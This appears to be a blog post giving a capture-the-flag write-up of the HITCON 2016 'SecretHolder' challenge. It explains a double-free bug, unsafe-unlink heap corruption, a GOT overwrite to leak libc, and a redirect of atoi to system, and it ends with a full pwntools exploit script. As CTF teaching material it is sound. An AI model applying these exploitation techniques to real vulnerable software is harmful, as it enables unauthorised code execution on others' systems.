Saturday, 14 July 2018

Hitcon 2016 - SecretHolder [unsafe-unlink Vulnerability]

After a long time a pwn challenge. This challenge is of 100 points and is a heap exploitation challenge.

Analysis


vagrant@vagrant:/vagrant/Hitcon2016$ file SecretHolder
SecretHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped
vagrant@vagrant:/vagrant/Hitcon2016$ ./SecretHolder
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret



So it is a 64-bit binary. Let's have a look in IDA.

    while ( 1 )
      {
        puts("1. Keep secret");
        puts("2. Wipe secret");

        puts("3. Renew secret");
        memset(&s, 0, 4uLL);
        read(0, &s, 4uLL);
        v3 = atoi(&s);
        switch ( v3 )
        {
              case 2:
                wipe_secret(&s, &s);
                break;
              case 3:
                renew_secret(&s, &s);
                break;
              case 1:
                keep_secret(&s, &s);
                break;
        }
      }



Keeping a secret note is done as

    read(0, &s, 4uLL);
    v0 = atoi(&s);
    if ( v0 == 2 )
    {
        if ( !dword_6020B8 )
        {
            qword_6020A0 = calloc(1uLL, 0xFA0uLL);
            dword_6020B8 = 1;
            puts("Tell me your secret: ");
            read(0, qword_6020A0, 0xFA0uLL);
        }
    }
    else if ( v0 == 3 )
    {
        if ( !dword_6020BC )
        {
            qword_6020A8 = calloc(1uLL, 0x61A80uLL);
            dword_6020BC = 1;
            puts("Tell me your secret: ");
            read(0, qword_6020A8, 0x61A80uLL);
        }
    }
    else if ( v0 == 1 && !dword_6020C0 )
    {
        buf = calloc(1uLL, 0x28uLL);
        dword_6020C0 = 1;
        puts("Tell me your secret: ");
        read(0, buf, 0x28uLL);
    }



So it first checks to see whether the specific size of allocation is already done or not by quering a variable which either holds 1 or 0 for already allocated or freed buffer and then makes a request to calloc to allocate a zeroed memory in heap. The sizes of allocation for small, big and huge are 40, 4000, 40000 bytes respectively.

Let's have a look at wipe_secret function:

    read(0, &s, 4uLL);
    v0 = atoi(&s);
    switch ( v0 )
    {
        case 2:
            free(qword_6020A0);
            dword_6020B8 = 0;
            break;
        case 3:
            free(qword_6020A8);
            dword_6020BC = 0;
            break;
        case 1:
            free(buf);
            dword_6020C0 = 0;
            break;
    }



So the function first frees the buffer in which secret is kept and then zeroes out the variable assciated with the allocation of the variable. But wait, it does not check whether the buffer is already allocated or not and here lies the vulnerability. We can free a buffer twice and exploit the double-free(you can read more about double free here and here). A more detailed example can be found .here


First Step - Double Free


    1. Make a small allocation
    2. Free the small allocation
    3. Make a big allocation
    4. Free the small allocation <---- Double Free
    5. Make a small allocation

    Keepsecret(1, "A"*0x10) # small allocate
    Wipesecret(1)           # small free
   
    Keepsecret(2, "B"*0x20) # big allocate
    Wipesecret(1)           # small free
   
    Keepsecret(1, "C"*8)    # small allocate


For malloc the big allocation is free but we can still use it in our code to make a fake chunk to cause a unsafe-unlink of the chunks :)

Heap now looks like this

    gef➤  x/50gx 0x0000000000feb000                          
    0xfeb000:       0x0000000000000000      0x0000000000000031
    0xfeb010:       0x4343434343434343      0x000000000000000a
    0xfeb020:       0x0000000000000000      0x0000000000000000
    0xfeb030:       0x0000000000000000      0x0000000000020fd1 <----Top chunk
    0xfeb040:       0x0000000000000000      0x0000000000000000


Now to make a fake chunk we have to make use of a huge allocation. As we know, for an allocation of very large size, allocation is done by mmap instead of malloc, which results in the allocation in a very high memory address and we don't want that. We want the allocation to happen just after the small allocation. For this we make a huge allocation, free it and again make the allocation.

    Keepsecret(3, "E"*0x20) # huge allocate
    Wipesecret(3)           # huge free
    Keepsecret(3, "F"*0x20) # huge allocate


This results the huge allocation just after the small allocation.

    gef➤  x/50gx 0x0000000000feb000                          
    0xfeb000:       0x0000000000000000      0x0000000000000031
    0xfeb010:       0x4343434343434343      0x000000000000000a
    0xfeb020:       0x0000000000000000      0x0000000000000000
    0xfeb030:       0x0000000000000000      0x0000000000061a91
    0xfeb040:       0x4646464646464646      0x4646464646464646
    0xfeb050:       0x4646464646464646      0x4646464646464646
    0xfeb060:       0x000000000000000a      0x0000000000000000
    0xfeb070:       0x0000000000000000      0x0000000000000000


Now, we can make use of the big allocation which according to malloc is free but we can use it to craft the fake chunk and perform an unlink attack.


Unsafe Unlink


For the unlink attack we make use of specially crafted chunks which contain the FD and BK pointers, having the following properties:

                                                P->fd->bk == P || P->bk->fd == P

and the next chunk's prev_in_use bit should be unset. So when we free the chunk unlink does its work by writing to pointers.

                                                    P->FD->BK = P->BK
                                                    P->BK->FD = P->FD

So when we craft the buffer like this
                                                 
    RenewSecret(2, p64(0x00) + p64(0x21) + p64(small_secret-0x18) + p64(small_secret-0x10) + p64(0x20) + p64(400016))
 
    gef➤  x/50gx 0x0000000000feb000
    0xfeb000:       0x0000000000000000      0x0000000000000031
    0xfeb010:       0x0000000000000000      0x0000000000081ff1
    0xfeb020:       0x0000000000602098      0x00000000006020a0
    0xfeb030:       0x0000000000000020      0x0000000000061a90
    0xfeb040:       0x4646464646464646      0x4646464646464646
    0xfeb050:       0x4646464646464646      0x4646464646464646
    0xfeb060:       0x000000000000000a      0x0000000000000000


We are now writing to the address 0x60200B <--- 0x602098. Since 0x60200B is the address for the small allocation buffer, the small buffer now points to 0x602098 and we have full control over that buffer.

Leak LIBC


Let's now write some pointers to the small buffer. We try to make a GOT overwrite. This can be done by overwriting FREE_GOT with PUTS_PLT.
 
    RenewSecret(1, "A"*8 + p64(free_got) + "A"*8 + p64(big_secret))
    RenewSecret(2, p64(puts_plt))


And then we give READ_PLT as parameter to the puts.

    RenewSecret(1, p64(read_got))

    gef➤  x/50gx 0x0000000000602090
    0x602090 <stdout>:      0x00007f8fd9923620      0x4141414141414141
    0x6020a0:       0x0000000000602040      0x4141414141414141
    0x6020b0:       0x00000000006020a0      0x0000000000000001

    gef➤  x/x 0x0000000000602040
    0x602040 <read@got.plt>:        0x00007f8fd9655250


    gef➤  x/x 0x0000000000602018                     
    0x602018 <free@got.plt>:        0x00000000004006c0
    gef➤  x/x 0x00000000004006c0                     
    0x4006c0 <puts@plt>:    0x01680020195a25ff       

Full Exploit

 

from pwn import *

small_secret = 0x6020B0
big_secret = 0x6020A0
puts_plt = 0x4006c0
free_got = 0x602018
read_got = 0x602040
atoi_got = 0x602070

p = process("./SecretHolder")

def Keepsecret(size, data):
    p.recvuntil("3. Renew secret\n")
    p.sendline('1')
    p.recvuntil("3. Huge secret\n")
    p.sendline(str(size))
    p.recvuntil("Tell me your secret:")
    p.sendline(data)

def Wipesecret(size):
    p.recvuntil("3. Renew secret\n")
    p.sendline('2')
    p.recvuntil("Which Secret do you want to wipe?\n")
    p.sendline(str(size))

def RenewSecret(size, data):
    p.recvuntil("3. Renew secret\n")
    p.sendline('3')
    p.recvuntil('3. Huge secret\n')
    p.sendline(str(size))
    p.recvuntil(':')
    p.send(data)

def Pwn():
    Keepsecret(1, "A"*0x10) # small allocate
    Wipesecret(1)           # small free

    Keepsecret(2, "B"*0x20) # big allocate
    Wipesecret(1)           # small free


    Keepsecret(1, "C"*8)    # small allocate
    pause()
    Keepsecret(3, "E"*0x20) # huge allocate
    Wipesecret(3)           # huge free
    Keepsecret(3, "F"*0x20) # huge allocate

    pause()
    RenewSecret(2, p64(0x00) + p64(0x21) + p64(small_secret-0x18) + p64(small_secret-0x10) + p64(0x20) + p64(400016))
    pause()
    Wipesecret(3)           # huge free

    RenewSecret(1, "A"*8 + p64(free_got) + "A"*8 + p64(big_secret))
    RenewSecret(2, p64(puts_plt))
    RenewSecret(1, p64(read_got))
    pause()
    Wipesecret(2)

    leak = p.recv()
    #print leak
    leak = p.recvline()

    read_addr = u64(leak[:6] + "\x00\x00")
    log.info("read addr : " + hex(read_addr))
    libc_addr = read_addr - 0xf7250
    log.info("libc addr : " + hex(libc_addr))
    system_addr = libc_addr + 0x45390
    log.info("system addr : " + hex(system_addr))


    RenewSecret(1, p64(atoi_got) + "A"*8 + p64(big_secret) + p64(1))
    RenewSecret(2, p64(system_addr))

    p.interactive()

if __name__ == "__main__":
    Pwn()

No comments:

Post a Comment